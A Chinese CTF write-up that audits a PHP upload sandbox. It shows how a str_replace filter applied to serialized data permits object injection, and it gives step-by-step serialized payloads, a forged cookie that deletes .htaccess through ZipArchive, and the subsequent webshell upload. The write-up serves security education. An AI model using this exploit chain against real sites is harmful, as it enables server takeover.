一道CTF來審計學習PHP對象注入

2022-01-09 HACK之道

前言

從一道CTF來審計學習PHP對象注入,由功能的分析到漏洞的探測、分析和利用。

考點

PHP對象注入、代碼審計、序列化

分析信息收集

題目上來給了一個文件上傳的服務,沒有直接去測試,對網站進行敏感信息收集,發現存在robots.txt洩露

User-agent: *
Disallow: /index.txt

訪問index.txt獲取網站源碼

<?php

include('secret.php');

$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}

function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}

class UploadFile {

function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}

if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir,0777,true);
}

if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}

if(!isset($_GET['action'])) {
$_GET['action'] = 'home';
}


if(!isset($_COOKIE['files'])) {
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
}


switch($_GET['action']){
case 'home':
default:
$content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";

$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
}

查看源碼,發現該題目基本類似於Insomnihack Teaser 2018

代碼審計功能分析

該題是一個沙盒文件管理器,允許用戶上傳文件,同時還允許查看文件的元數據。

文件上傳通過cookie來保存上傳的文件信息。$_COOKIE['files']的值是個反序列化的數組,數組的每個元素是一個UploadFile對象,保存了一個fakename(上傳文件的原始名字,可以修改)和一個realname(內容hash值)。

用戶可以進行下面五類操作:

case 'home':
default:
$content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";

$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;

默認顯示上傳界面,隨後反序列化Cookie存儲files數組的UploadFile對象,遍歷顯示上傳的文件。

case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;

創建UploadFile對象,調用upload方法,傳入文件名、文件內容在伺服器上進行存儲,然後反序列化cookie的files對新創建的文件uploadfile對象進行追加存儲,之後重新設置cookie重新序列化files。

class UploadFile {

function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}

case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;

根據i值索引文件對象UploadFile,然後更改fakename的值,之後重新設置cookie重新序列化files。

case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;

通過i值索引文件對象UploadFile,然後調用對象的open方法輸出指定文件的元數據:fakename和realname信息。

case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;

通過空數組設置新的cookie,然後刪除$sandbox_dir/下的文件。

對於用戶的操作,其中的每一個操作,都是在沙盒環境中執行的。這裡的沙盒,是程序生成的用戶專屬文件夾,其生成代碼如下:

$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);

該沙盒還可以防止PHP執行,以生成的.htaccess文件為例,我們可以看到其中的php_flag engine off指令:

if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir,0777,true);
}

if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}

針對UploadFile類,在上傳新文件時,將使用以下屬性來創建UploadFile:

fakename:用戶上傳文件的原始文件名;

realname:自動生成的文件名,用於在磁碟上存儲文件。

通過Open操作查看文件時,fakename用於文件名的顯示,而在文件系統中所保存的文件,實際上其文件名為realname中的名稱。

然後,會將UploadFile對象添加到數組,通過自定義的myserialize()函數對其進行序列化,並通過文件Cookie返回給用戶。當用戶想要查看文件時,Web應用程式會獲取用戶的Cookie,通過myunserialized()函數對UploadFile對象的數組反序列化,隨後對其進行相應的處理。

下面是UploadFile對象的示例:

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:9:"pictu.jpg";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"qwe.jpg";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}f96f37cca80ecae3c5f2f30be497c27024a23a24093e9e7a26c9721be025fb7b

以下是用於生成上述序列化對象的相關代碼:

function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}

function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}

class UploadFile {

function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}

switch($_GET['action']){
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
}

因為每次建立sandbox的時候,都會在目錄加上一個.htaccess文件來限制php的執行,因此我們無法直接上傳shell。同時由於在序列化和反序列化的時候做了籤名,我們也不能直接通過修改cookie的方式來改變對象。

由於原始碼中沒有wakeup()或destruct()這樣的magic函數,因此我們不能使用常用的一些反序列化攻擊方法。

破壞序列化對象

隨著繼續的審計和探索,發現應用程式中的漏洞:

function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}

function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}

代碼的作者添加了一個str_replace()調用,用來過濾掉../序列。這就存在一個問題,str_replace調用是在一個序列化的對象上執行的,而不是一個字符串。

比如有這麼一個序列化後的字符串

php > $array = array();
php > $array[] = "../";
php > $array[] = "hello";
php > echo serialize($array);
a:2:{i:0;s:3:"../";i:1;s:5:"hello";}

在myserialize函數(../過濾器)處理後就變成了

php > echo str_replace("../","./", serialize($array));
a:2:{i:0;s:3:"./";i:1;s:5:"hello";}

通過過濾,確實已經將「../」改為了「./」,然而,序列化字符串的大小並沒有改變。s:3:」./「;顯示的字符串大小為3,然而實際上它的大小是2!!

當這個損壞的對象被unserialize()處理時,PHP會將序列化對象(「)中的下一個字符視為其值的一部分,而從這之後,反序列化就會出錯:

a:2:{i:0;s:3:"./";i:1;s:5:"hello";}
^ --- <== The value parsed by unserialize() is ./"

偽造任意對象並籤名

既然這樣,那麼如果合理控制../的數量,是不是就可以引入一個非法的對象呢

php > $array = array();
php > $array[] = "../../../../../../../../../../../../../";
php > $array[] = 'A";i:1;s:8:"Injected';
php > echo serialize($array);
a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:20:"A";i:1;s:8:"Injected";}

對於這個序列化的字符串,處理以後為:

php > $x = str_replace("../", "./", serialize($array));
php > echo $x;
a:2:{i:0;s:39:"./././././././././././././";i:1;s:20:"A";i:1;s:8:"Injected";}
---- ---

php > print_r(unserialize($x));
Array
(
[0] => ./././././././././././././";i:1;s:20:"A
[1] => Injected
)

這個時候,s:39對應的字符串變成了./././././././././././././";i:1;s:20:"A,這樣就把本來不應該有的Injected引入了進來。在這個例子中,使用的字符串是「i:1;s:8:」Injected」,但同樣,任何基元/對象都可以在這裡使用。

繼續回到題目本身,情況與之幾乎相同。我們需要的就是一個數組,該題中正是UploadFile對象數組,在這個數組中我們可以破壞第一個對象,從而控制第二個對象。

我們可以通過上傳兩個文件來實現漏洞的利用。就像上面的例子一樣,我們具體操作如下:

請注意,由於我們現在使用的是Web應用程式的正常功能來執行上述操作,所以就不用再考慮籤名的問題,這些操作一定是合法的。

由於myserialize的問題,如果我們有一個可控點,就可以嘗試引入非法的對象。這個可控點就是changename,changename會修改fakename的值同時重新序列化對象

使用任意數據偽造序列化對象

通過上面的探索,現在,就可以使用任意數據,來偽造我們自己的序列化對象。在這一步驟中,我們需要解決的是一個經典的對象注入問題,但在這裡,並沒有太多技巧或者捷徑可以供我們使用。

到目前為止,我們幾乎已經用到了應用中所有的功能,但還有一個沒有用過,那就是Open。以下是Open的相關代碼:

function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}

case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;

Open操作通過i索引會從$files數組中獲取一個對象,並使用$object->fakename和$object->realname這兩個參數來調用open()函數。

通過上面知道,可以在$files數組中注入任何對象(就像之前注入的「Injected」字符串一樣)。但如果我們注入的不是UploadFile對象,會發生什麼?

其實可以看到,open()這一方法名是非常常見的。如果我們能夠在PHP中找到一個帶有open()方法的標準類,那麼就可以欺騙Web應用去調用這個類的open()方法,而不再調用UploadFile中的方法。

簡單來看可以理解為下面的實例過程

<?php
$array = new array();
$array[] = new UploadFile();
$array[0]->open($array[0]->fakename, $array[0]->realname);

可以通過欺騙Web應用程式,來實現這一點,從而實現類的欺騙,調用其它類的相同方法:

<?php
$array = new array();
$array[] = new SomeOtherFile();
$array[0]->open($array[0]->fakename, $array[0]->realname);

既然可以這樣操作那麼下來就是要尋找有那些類包含open()方法,從而實現後續的利用

通過原WP,編寫代碼列出所有包含open()方法的類:

$ cat list.php
<?php
foreach (get_declared_classes() as $class) {
foreach (get_class_methods($class) as $method) {
if ($method == "open")
echo "$class->$methodn";
}
}
?>

列舉結果:

$ php list.php
SQLite3->open
SessionHandler->open
XMLReader->open
ZipArchive->open

經過尋找,共發現有4個類帶有open()方法。如果在$files數組中,注入這些類中任意一個的序列化對象,我們就可以通過帶有特定參數的open動作,來調用這些類中的方法。

其中的大部分類都能夠對文件進行操作。回到之前,我們知道.htaccess會在沙盒中阻止我們執行PHP。所以,假如能通過某種方式刪掉.htaccess文件,那麼就成功了。

通過對上面的4個類進行測試,發現,ZipArchive->open方法可以刪除目標文件,前提是我們需要將其第二個參數設定為「9」。

ZipArchive::open的第一個參數是文件名,第二個參數是flags,而9對應的是ZipArchive::CREATE | ZipArchive::OVERWRITE。ZipArchive::OVERWRITE的意思是重寫覆蓋文件,這個操作會刪除原來的文件。

因為UploadFile類的open函數的參數是fakename和realname,fakename對應.htaccess,realname對應flags,這裡直接使用ZipArchive::OVERWRITE的integer值9,這樣我們就可以使用ZipArchive->open()來刪除.htaccess文件。

分析編寫payload

先序列化一個ZipArchive類的對象:

<?php
$zip = new ZipArchive();
$zip->fakename = "sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";
$zip->realname = "9";
echo serialize($zip);

O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}

然後隨便上傳兩個文件,查看cookie得到序列化的值

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:9:"pictu.jpg";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"qwe.jpg";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}f96f37cca80ecae3c5f2f30be497c27024a23a24093e9e7a26c9721be025fb7b

根據前面的探索利用,將第二個文件的fakename改成需要構造的ZipArchive的序列化值,如果想單獨溢出注入ZipArchive對象,就需要將第二個文件對象中fakename值的前後部分都需要被溢出才行:

";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg

67個無用字符,所以ZipArchive序列化對象中的comment的長度為67,部分構造如下:

i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"

因為第一個文件對象中的fakename需要溢出到第二個文件的fakename值的位置,所以第二個文件對象的fakename值還需要加一部分:

";s:8:"realname";s:1:"A";}

PS:此處的realname內容是什麼無所謂,主要是為了序列化的完整性

第二個文件對象最終的fakename值如下:

";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"

處理完第二個文件對象的fakename就需要處理第一個文件對象的fakename:

同時,要想ZipArchive對象成功溢出,就需要從第一個文件對象fakename值溢出到第二個文件對象的fakename值,所以第一個fakename值需要溢出的部分為:

";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"

可是這樣是不正確的,正確部分的應該是:

";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"

因為我們必須先修改第二個對象的fakename值,然後才能依據重新反序列化的Cooke[files]修改第一個的fakename,而此時的第二個fakename長度已經改變,不再是7,所以這部分溢出的長度為117,因此第一個文件的fakename值就是117個../。

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../

最終payload

依據上述的分析,先修改第二個文件對象的fakename然後再修改第一個文件對象的fakename(不能互換!!!)

第二個文件對象的fakename:

";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"

第一個文件對象的fakename:

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../

修改偽造之後成功偽造引入非法對象的Cookie

a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:351:"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}cc2ffa6941ffc8895e4c029f62046ab7963af6ec9e5061103d71a295834b388b

查看非法對象Cookie中files的文件對象數組

php > print_r(unserialize($X));
Array
(
[0] => __PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => UploadFile
[fakename] => ./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"
[realname] => A
)
[1] => ZipArchive Object
(
[status] => 0
[statusSys] => 0
[numFiles] => 0
[filename] =>
[comment] =>
[fakename] => sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess
[realname] => 9
)
)

最後訪問index.php?action=open&i=1,伺服器直接操作files數組中i=1索引的對象執行open()方法,即ZipArchive的open函數,刪除.htaccess文件。

之後,直接上傳webshell拿到伺服器權限

shell.php is in folder sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/cf9c5d4cdaab48d9872f7029d1cd642431e58193.php

_____ end _____

作者:Qftmer,來源:先知社區


關注公眾號:HACK之道

如文章對你有幫助,請支持點下「贊」「在看」

相關焦點

  • 【代碼審計】PHP代碼審計之CTF系列(3)
    phpif(isset($_GET) && !empty($_GET)){ $url = $_GET['file']; $path = 'upload/'.payload:http://127.0.0.1/ctf/1.php?file=http://127.0.0.1//ctf/1.php?
  • CTF中常見的PHP漏洞小結
    在做ctf題的時候經常會遇到一些PHP代碼審計的題目,這裡將我遇到過的常見漏洞做一個小結。md5()漏洞  PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每一個以」0E」開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以」0E」開頭的,那麼PHP將會認為他們相同,都是0。
  • php代碼審計總結
    "白帽子社區在線CTF靶場BMZCTF,歡迎各位在這裡練習、學習,BMZCTF全身心為網絡安全賽手提供優質學習環境,連結(http://
  • 搜索 PHP代碼審計之旅
    比如SQL注入、XSS、RCE等會發現有一個共同點,就是用戶可以進行輸入,有輸入的地方就可能存在漏洞,所以這樣就有的放矢,在繁多的代碼中,就先去找一下那些用戶可以控制輸入的代碼。從根目錄開始,就按照順序來,先看ad_js.php
  • CTF入門指南 | 內附教程分享
    權威指南揭秘家庭路由器0day漏洞挖掘技術自己定作業系統黑客攻防技術寶典:系統實戰篇 有各種系統的逆向講解B方向:Web應用安全權威指南 最推薦小白,宏觀web安全Web前端黑客技術揭秘 黑客秘籍——滲透測試實用指南黑客攻防技術寶典 web實戰篇 web安全的所有核心基礎點,有挑戰性,最常規,最全,學好會直線上升代碼審計
  • 從一道CTF題目談PHP中的命令執行
    快睡的時候,打開B站發現有位用戶留言,大意就是讓我幫忙看一道題,正好當時有空,於是就打開了他發的連結,代碼如下很明顯是一道PHP代碼審計的題目,而且只需要繞過第三行的if即可進行任意命令執行。自增構造在PHP中這個特點是利用了PHP是弱類型語言的特性,在對變量進行操作的時候,PHP會隱式的轉換其變量類型,很多代碼審計的題目也是利用了這一特性。
  • 【代碼審計】PHP代碼審計之CTF系列(2)
    文中所涉及的技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!PS:接上篇PHP代碼審計之CTF系列(1)challenge 9訪問頁面,查看源碼<?
  • 代碼審計入門實戰
    前段時間在整理一個PHP函數代碼審計的項目,所以文章也是圍繞PHP的代碼審計來寫,如果有寫的不對的地方,還請大佬們指正。文章開始前,我們先來了解一下PHP是什麼。0x01 PHP是什麼根據百度百科的描述,PHP是一種在伺服器端執行的通用開源腳本語言,主要適用於Web開發。
  • PHP代碼審計
    PHP代碼審計審計套路審計方法重命名為 index.php.bak, 但是由於 Apache 的解析漏洞:如果無法識別到最後一個後綴的話,就會向上解析,那麼就又變成了 php 了,然後結合安裝時的變量覆蓋又成重裝了。
  • CTF題記——計劃第一周
    username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#報錯注入進行注入。所以空格可以使用()繞過,=可以用like 而且抓包會發現這個題目是get方式請求的 這裡我測試使用的是updatexml也可以使用另一種,extractvalue 還有就是嘗試進行注入資料庫名的時候,發現and和or也被過濾。無法使用 ,會「被逮到」!然後就使用^形成異或,來連接SQL語句。注入資料庫名的payload?
  • php代碼審計學習之函數缺陷
    查找代碼中是否含有<與>的特殊符號,strpos在沒找到指定字符時會返回flase,如果第一個字符找到就返回0,0的取反為1,就可以注入xml進行注入了user=<"><injected-tag property="&pass=<injected-tag>
  • 一道有意思的CTF題目
    近期在整理題目的時候,發現了一道質量不錯的Web題,出自2019 TMCTF Final,特此記錄一下。信息搜集題目描述:Hack the following server.http://10.0.106.
  • CTF從入門到提升(三)
    3.從基礎題出發 一般都是100,200,最高分在500,600 先把100分的學好,可從實踐,高中的ctf學起,比較簡單,只涉及1,2個點PWN、Reverse偏重對彙編、逆向的理解 對底層理解;Crypto偏重對數學、算法的深入學習 密碼課要深入學;Web偏重對技巧沉澱、快速搜索能力的挑戰 發散思維,對底層只需要了解,代碼原理,關於漏洞點的積累
  • ZZZPHP1.61 代碼審計-從SQL注入到Getshell
    近期有很多小夥伴在後臺留言想看關於代碼審計的文章,其實有關審計的文章網上資源是比較多的,但是從代碼審計開始到結束的這類文章卻少之甚少。
  • 虎符ctf wp
    SSRF,根據前面的線索,找一下內網的admin.php,這裡輸入:127.0.0.1/admin.php或這localhost/admin.php在內網存在這樣一個admin.php,接下來思路就比較明晰了,強大的gopher協議可以提交GET/POST請求,通過gopher去打這個admin.php,gopher打內網注入點 Python
  • PHP函數漏洞審計之addslashes函數-實例分析蘋果CMS
    因此使用如下payload即可逃逸出\(反斜槓)注入。  user=1234567890123456789\'&passwd= or 1=11. 漏洞位於\inc\common\template.php:
  • 從一道CTF題目學習bypass disable_functions
    今天我們從一道CTF題目學習一下怎麼繞過disablefunction的限制。bypass_disablefunc.so;若它出現在共享對象中時,那麼一旦共享對象被系統加載,立即將執行 __attribute__((constructor)) 修飾的函數。
  • PHP代碼審計Day1 - in_array函數缺陷
    前言大家好,我們是紅日安全-代碼審計小組。最近我們小組正在做一個PHP代碼審計的項目,供大家學習交流,我們給這個項目起了一個名字叫 PHP-Audit-Labs 。現在大家所看到的系列文章,屬於項目 第一階段 的內容,本階段的內容題目均來自 PHP SECURITY CALENDAR 2017 。
  • 滲透文章分享(3)——代碼審計/漏洞分析
    ★★★php代碼審計/漏洞分析★★★★百家cms代碼審計https://xz.aliyun.com/t/7542★zzzcms php 1.7.5版本代碼審計初探https://xz.aliyun.com/t/7239★usual*** CMS 8.0代碼審計https://xz.aliyun.com/t/8100★MKCMS代碼審計小結
  • 代碼審計之php.ini配置詳解
    >驗證poc:http://127.0.0.1/test.php?&username=xxx&password=xxx&authorized=true該特性經常引起變量覆蓋漏洞,既可以成為上述繞過身份認證的方法,也可以突破其他已保護的變量產生新漏洞。如sql注入等,此時需要關注該變量被處理時所在的位置。